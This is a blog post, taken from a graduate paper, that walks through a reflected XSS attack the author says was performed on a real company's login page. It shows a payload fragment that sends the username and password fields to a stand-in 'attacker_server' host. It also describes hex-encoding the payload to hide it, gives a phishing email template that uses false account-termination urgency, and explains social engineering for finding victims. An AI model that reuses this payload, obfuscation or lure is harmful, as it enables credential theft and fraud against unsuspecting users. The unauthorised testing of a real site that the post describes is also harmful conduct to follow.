Walking through a real life XSS attack

This is a segment from a cross-site scripting (XSS) paper I wrote recently for graduate school “Introduction to Reflected XSS”. It should be noted that this is a real life attack I performed on a real company’s login application however I removed the URL and company name for obvious reasons. I walk through the various steps taken including finding a legitimate XSS hole, manipulating the hole, writing a malicious script to exploit the hole, and finding potential victim users. Feel free to leave both questions and suggestions in the comments; I’d love to hear them. Without further ado here’s the attack (most interesting) portion of my paper.

Walking Through a Reflected XSS Attack

Introduction - Now I’m going to walk you through an actual real life reflected XSS attack and explain the steps taken in doing so. For obvious reasons a great deal of information in regards to the victim’s Web app and URL will not be disclosed. Also, this XSS attack is being revealed to help better application developer’s understanding of XSS and to make apparent how many Web apps are in fact susceptible to such attacks.

Evaluate your target’s Web app from an attacker’s perspective - First things first, let’s evaluate and study our target Web app. Let’s begin by first evaluating the interface in Figure 1.4. We see our target Web app is for “Company X” and similar to many other common login Web apps. It is composed of two text fields one of the text fields is for a user’s “Username” and the other for the user’s “Password”. Next thing I notice is the URL query shown in Figure 1.3.

Figure 1.3

For obvious reasons the first segment of the URL has been removed however the interesting section still remains. First thing I notice is the '/cgi-exe/' in the URL.

CGI (Common Gateway Interface) is a standard protocol for interfacing external application software with an information server, commonly a web server. This allows the server to pass requests from a client Web browser to the external application. The Web server can then return the output from the application to the Web browser. Next, I notice the ‘pg=index’ in the URL query. The word “index” simply points out that this is the top end or head node of the tree for the Web app that can branch off into many other additional children pages once one attains access. This information is very important to me because many Web apps using CGI are susceptible to reflected XSS attacks in the URL query.

Figure 1.4

Right off the bat I have a perfect spot to insert my test script to see if this Web app might be vulnerable to XSS. So I take a stab at it and insert my alerting “test” script into the URL query seen in Figure 1.5.

Figure 1.5

After running the test script it first appears as though it was unsuccessful. Instead of receiving a pop-up window alert I receive the following page

Figure 1.6

At a quick glance it appears as though nothing happened and I just simply had the original “index” page returned, but if you take a close look and look inside the “Enter Username and Password” form you’ll notice an out of place quotation mark and greater than character (“>). It becomes quite apparent that my test script did have an effect on the Web app despite not being my original desired effect. Often times when pen testing (penetration testing) you’ll stumble upon unexpected results from actions made that are very informative and can be used later down the line.

My next step is to take a look at the HTML source code to see what is going on with the (“>) in the middle of the “Enter Username and Password” form. Below is a segment of the source code revealing a great deal of information about the placement of my script as well as a great deal of other useful information.

Take a good look at the red text above. Disregard NAME=”uname” and NAME=”pass” we’ll get back to that, but rather focus on our script and where it was inserted into the html source.

The once ambiguous (“>) in the middle of the Web app form can now be explained. The test script I wrote was inserted in the middle of the “INPUT TYPE” tag and due to my quotation marks (“) and use of the greater than (>) less than (<) symbols it accidentally was mistaken for code to close the tag and thus leaving the desolate (“>) by itself in the middle of the form. By quickly looking at the code I realize all it will take is a quick fix and my script should run correctly. I simply need to insert a (“>) in the URL query before I insert my script. This will close off the “INPUT TYPE” tag and thus permit my script to run correctly. Now take a look below at the new and improved URL query. Highlighted in red is the modification made.

Now once we run this script we receive the following.

Figure 1.7

SUCCESS!! We can now see with the modifications made above that we are in fact capable of running successful scripts and thus this site is in fact susceptible to Cross-Site Scripting attacks. Next on our “to do” list is writing a malicious script to take advantage of this hole.

Writing your own malicious script to manipulate the target - The tough part of our job is done, now it’s time to be creative and write a script that will help me as an attacker obtain a client’s username and password. Remember, Cross-Site Scripting isn’t a direct attack against the Web application but rather an attack on the Web applications users.

As mentioned earlier Cross-Site Scripting attacks are very diverse and can be performed in countless ways. In this scenario, I myself as the attacker wish to steal the values of the username and password fields as a victim logs in. Following doing some research I discovered a clever idea for a malicious script that would work here nicely. The concept of this script was attained from a Cross-Site Scripting paper written by Kevin Spett of Spidynamics. Before we delve into the script lets take another hard look at the html source code from our target site.

It is now time to focus on NAME=”uname” and NAME=”pass”. Both of these are in reference to the fields that will accept the Username and the Password. The username field has been named “uname” and the password field has been named “pass”. Generally Web app developers aren’t very creative with field names. Field names for usernames and passwords are for the most part very easy to find in the source code. We now have the necessary information for our script. So by placing the script below into the URL query and injecting it into the code we should be able to attain an unsuspecting victim’s Username and Password.

Let’s dissect this script and figure out what it is doing.

(/form)-- This is providing a closing tag for the original form therefore allowing us to add and manipulate our own.

(form action="/cgi-exe/cpage.dll" method="GET") –The form will perform an HTTP GET request which will have data sent via query strings.

(onsubmit="XSS=new Image;) -- This is where the creativity comes in. The “onsubmit” property is a set of Javascript instructions that are executed when the user clicks the submit button of a form, just before the actual form request is sent (Spett). So all this is doing is creating a new image called “XSS” when the user clicks the “login” button to submit the form.

(image.src='attacker_server'+document.forms(1).
uname.value+':'+document.forms(1).pass.value") -- Next we specify the URL of the newly created image, that URL being ‘attacker_server’ and following that would be the values of the “login” and “password” fields containing the victim’s data.

This malicious script is very noticeable and a victim might be intelligent enough to avoid it, therefore we convert it from our original ASCII characters to Hex and end up with:

This looks much better. Now if a victim were to take a quick glance at the URL they would see the link coming from the actual www.companyx.com and thus assume it to be a legitimate link. Once the victim follows the link and enters their username and password information into the corresponding uname and pass form fields it is quickly sent over to the attacker’s server to use at his/her own disposal.

Finding user victims – Now that we’ve found a hole in the Company X Web app and written a malicious script to exploit it, our next step is finding user victims. Finding victims can be done in many different ways however creativity and one’s social engineering skills are key. Social engineering is the practice of obtaining confidential information by manipulation of legitimate users. A social engineer will commonly use the telephone or Internet to trick people into revealing sensitive information or get them to do something that is against typical policy. By this method, social engineers exploit the natural tendency of a person to trust his or her word (Mitnick).

Often times, valid usernames for Web applications will be a user’s email address. This is a poor security move in it of itself. Email addresses are often times made public too often through company websites, message boards, screen names etc. Generally these email addresses open a large gateway for social engineering to take place. Once an attacker has valid user email addresses our XSS attack is ready to be deployed. At this point, security is out of the hands of an IT security specialist and now in the hands of an unsuspecting victim at the other end of an email message.

With our social engineering skills we can design a clever and deceiving email duping the victim into using our script.

Dear Victim User,

Due to an emergency server shut down on Wednesday July 5^th at approximately 8:05:32 PM we have been experiencing some user account issues. As a result it is necessary that you login to your account within the next 24 hours to validate user membership or else you risk having your membership being terminated. Please proceed by following the link, Example Company Login, and log into your account.
Thank you and we apologize for the inconvenience

For the link we simply use the HTML below incorporating our script.

Once the victim follows the link and logs in, the username and password are sent over to my server thus giving me a valid account to do with what I please. This technique is often referred to as “Phishing”. Phishing is an attempt to fraudulently acquire private information, including passwords, credit card data, social security numbers, etc, by masquerading as a trustworthy person or business in an electronic communication.

That should do it, good luck, be ethical.